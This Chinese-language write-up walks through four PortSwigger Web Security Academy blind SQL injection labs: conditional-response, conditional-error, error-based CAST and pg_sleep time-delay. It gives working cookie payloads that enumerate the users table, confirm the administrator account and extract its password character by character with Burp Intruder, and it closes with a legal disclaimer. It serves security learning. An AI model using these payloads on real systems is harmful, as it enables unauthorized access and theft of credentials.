**摘要:**本文通过四个 PortSwigger Web Security Academy 官方靶场实验,系统演示了盲目 SQL 注入的四种典型手法:带条件响应的盲注(通过 Welcome back 提示判断注入结果)、带条件错误的盲注(通过 200/500 状态码判断注入点)、可视化基于错误的注入(通过报错信息直接获取数据)以及带时间延迟的盲注(利用 pg_sleep 造成延迟)。每个实验均从注入点确定、数据库类型识别、表与用户探测、密码长度判断到逐位爆破的完整流程展开,并附有详细 payload 与操作说明。文章末尾附有法律声明,强调所有实验均在合法授权环境中完成,仅供学习交流。
实验一:带条件响应的盲目SQL注入

1.根据题目的提示,要使用Cookie进行分析,所以我们可以首先拦截对实验页面的访问,对Cookie进行注入分析

2.然后我们要确定注点,对Cookie的TrackingId进行注入
sql
Cookie: TrackingId=t6y4P2eYikvzcAK8' and '1'='1;
sql
Cookie: TrackingId=t6y4P2eYikvzcAK8' and '1'='2;


当我们注入'1'='1时,返回的结果存在Welcome back的提示,但是我们注入'1'='2的时候没有对应的提示,这就是标准的条件响应盲注生效状态。确定了注入点
3.然后我们要开始确定users表是否存在,返回结果有WELCOME,说明存在user表
sql
Cookie: TrackingId=t6y4P2eYikvzcAK8' AND (select 'a' from users limit 1)='a;

4.下一步我们要确定是否存在administartor用户名在这个users表当中
sql
' AND (select 'a' from users where username='administrator')='a;

确定存在administrator用户
5.然后我们要去获得密码,通过测试密码的长度再进行爆破操作,再去测试密码长度的过程中,我们发现这个密码长度在大于19的时候返回的结果含有WELCOME,但是在测试是否大于20的时候没有返回WELCOME,所以确定秘密长度为20
sql
' and (select 'a' from users where username='administrator' and length(password)>19)='a;

6.然后接下来就是逐位爆破密码,根据题目提示,密码是小写字母以及0到9的数字组成
sql
' and (select substring(password,1,1) from users where username='administrator')='a;
然后选中最后的a,右键选择send to intruder,在intruder页面的右侧的configuration部分粘贴进36个字符,然后在右边的setting部分写入Welcome返回值,然后点击开始攻击即可确定每一位的密码

a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
0
1
2
3
4
5
6
7
8
9



7.然后在跑出第一位之后修改把 substring(password,1,1) 改成 substring(password,2,1)即可继续破解第二位,以此类推,然后把所有的20位密码拼在一起得到最终的密码,用这个密码和administrator账户登录即可解决问题。
实验二:带条件错误的盲SQL注入

1.我们这个实验和上面一个实验有不一样的地方,这个实验室条件错误的提示,我们是通过页面的响应,返回的结果是200还是500来确定这个注入点的,但是我们上面一个实验是通过是否返回WELCOME的提示来确定是否注入成功,所以两个题目的解题思路不一样。
2.现在第一步进行注入点确定,当我们在T的后面加上一个'时,返回的结果时500,但是当我们加''时返回的结果时200,注入点确定
当我们添加一个'时,后台表示是这样的:多余一个',结果报错
sql
SELECT * FROM tracking WHERE TrackingId = 'xxx''
当我们添加两个''时,后台表示是这样的:'xxx' → 一个完整字符串,'' → 一个空字符串 (两个单引号连在一起表示空串),原查询的 ' 闭合
sql
SELECT * FROM tracking WHERE TrackingId = 'xxx'''


3.下面我们要确定是什么类型的数据库,首先去判断是不是Oracle类型的
sql
'||(SELECT '' FROM dual)||';

4.确定数据库类型之后我们要去确定是否存在users表,其中的rounum=1是从users表中只返回一行
sql
'||(select '' from users where rownum=1)||'

5.确定users表存在,然后确定administrator账户是否存在,返回报错,用户存在
sql
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
| 部分 | 含义 |
|---|---|
' |
闭合原字符串 |
| ` | |
(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END ...) |
子查询 |
FROM users WHERE username='administrator' |
锁定 administrator 用户 |
| ` |
-
CASE WHEN (1=1)恒真 → 走TO_CHAR(1/0)→ 除以零报错 -
如果
administrator用户存在 → 子查询能执行 → 报错 -
如果用户不存在 → 子查询没结果 →
CASE不执行 → 不报错

6.然后就是确定密码长度,20位,继续爆破密码,操作和上一题是一样的
sql
'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
sql
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'


实验三:可视化基于错误的SQL注入

1.这个实验和之前的是不一样的,他返回的错误信息会直接把我们所需要的信息给出来,所以比之前的实验会简单一些
首先是确定注入点,右边的响应框里的错误信息会显示完整的 SQL 查询。

2.然后我们在请求中添加注释字符,以注释其余查询内容,包括导致错误的多余单引号字符,返回的结果就没有错误提示了

3.确认 CAST 语法能用,为后面做准备。返回结果正常,表示cast能用
sql
' AND 1=CAST((SELECT 1) AS int)--

4.接下来就是去查用户名,由于Cookie 有长度限制,payload 太长,被服务器截断了。所以要缩减长度可以删掉TrackingId的内容,然后重新发送,username 是字符串,不能转成 int,可以得到报错出用户名
sql
' and 1=cast((select username from users limit 1) as int)--;

5.下一步就是通过报错的到密码,和上面的报错出用户名是一样的操作,然后使用这个密码登录,解决问题
sql
' and 1=cast((select password from users limit 1) as int)--;

实验四:带时间延迟的盲目SQL注入

1.这个实验和上面的实验不一样,这个实验不需要我们去获取什么账户和密码,只需要我们利用漏洞造成10s的延迟的可以了
sql
'||pg_sleep(10)--
|| 是字符串拼接符,拼接时右边的内容会被求值。pg_sleep(10) 是一个函数,求值时会执行,所以数据库就睡了 10 秒。

声明:
本文所有实验均在 PortSwigger Web Security Academy 官方提供的合法在线靶场环境 中完成,该平台专为网络安全教学目的搭建,所有实验均为官方授权。未对任何未授权的网站、服务器或系统进行测试 。文中涉及的注入技术仅用于个人学习网络安全知识与记录实验过程。
SQL 注入属于违法行为,《中华人民共和国刑法》第 285、286 条对非法侵入计算机信息系统、破坏计算机信息系统罪 有明确规定。未经授权对他人系统进行渗透测试,无论是否造成损害,都可能构成犯罪。
文中所有 payload 在合法授权环境之外不具备直接使用价值 ,且现代框架/ORM 已普遍预防此类基础注入。请读者仅在学习环境中复现,技术是用来防守的。
如有错误欢迎指正,转载请注明出处。